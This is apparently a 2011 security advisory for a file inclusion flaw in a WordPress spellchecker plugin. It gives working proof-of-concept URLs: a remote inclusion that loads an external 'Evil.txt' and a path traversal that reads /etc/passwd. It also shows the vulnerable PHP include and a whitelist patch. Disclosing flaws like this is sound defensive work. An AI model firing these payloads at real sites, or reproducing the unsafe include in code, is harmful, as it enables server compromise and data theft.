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WordPress Spellchecker Local File Inclusion / Remote File Inclusion

🗓️ 11 Apr 2011 00:00:00Reported by Dr TrojanType 
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WordPress Spellchecker Plugin RFI & LFI Vulnerability, Release Date 12/4/2011, Version 3.1, Tested On Windows 7 & Xampp. Exploits: RFI & LFI example URLs given, Attack vectors and potential impact discussed, Patch recommendation provided

Code
`+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
======++++++ RFI & LFI Wordpress Spellchecker Plugin  
Vulnerability ++++++======  
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Released Date = 12/4/2011  
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Author = Dr Trojan (www.paksecteam.com)  
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Greets = Sacred1947 - ShozY - Shadow008 - HackerBradri - Death Angel - Yasir  
Fati  
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Version = 3.1  
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Tested On = Windows 7 & Xampp  
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Rfi Exploit = /general.php?file=http://sitename.com/Evil.txt?  
Lfi Exploit = /general.php?file=../../../../../../../etc/passwd  
Root Location =  
wordpress/wp-includes/js/tinymce/plugins/spellchecker/includes/general.php  
Web Location = www.sitename.com/general.php?file=  
P.O.C:-  
RFI Example = www.sitename.com/general.php?file=http://sitename.com/Evil.txt  
?  
LFI Example =  
www.sitename.com/general.php?file=../../../../../../../etc/passwd  
  
Vulnerability description:-  
An attacker might include local or remote PHP files or read non-PHP files  
with this vulnerability.  
User tainted data is used when creating the file name that will be included  
into the current file.  
PHP code in this file will be evaluated, non-PHP code will be embedded to  
the output.  
This vulnerability can lead to full server compromise.  
Vulnerable Example Code = <? include("includes/" . $_GET["file"]); ?>  
  
Patch for vulnerability: Build a whitelist for positive file names. Do not  
only limit the file name to specific paths or extensions.  
<? $files = array("index.php", "main.php"); if(!in_array($_GET["file"],  
$files)) exit; ?>  
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